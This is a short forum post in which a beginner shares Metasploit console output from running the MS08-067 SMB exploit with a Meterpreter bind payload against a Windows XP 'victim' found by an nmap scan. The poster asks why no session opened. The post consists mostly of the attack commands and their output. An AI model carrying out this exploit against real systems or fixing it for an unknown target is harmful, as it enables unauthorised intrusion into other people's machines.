i'm a noob in metasploit framework, but yesterday i found out what's the "deal" with it, so i tested it but the error "Exploit completed, but no session was created." won't let me in:|

445/tcp open microsoft-ds (nmap scan for victim)

framework 3 code (today updated):

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:English[*] Selected Target: Windows XP SP2 English (NX)[*] Triggering the vulnerability...[*] Exploit completed, but no session was created.

can someone help with this error ? i mean "no session"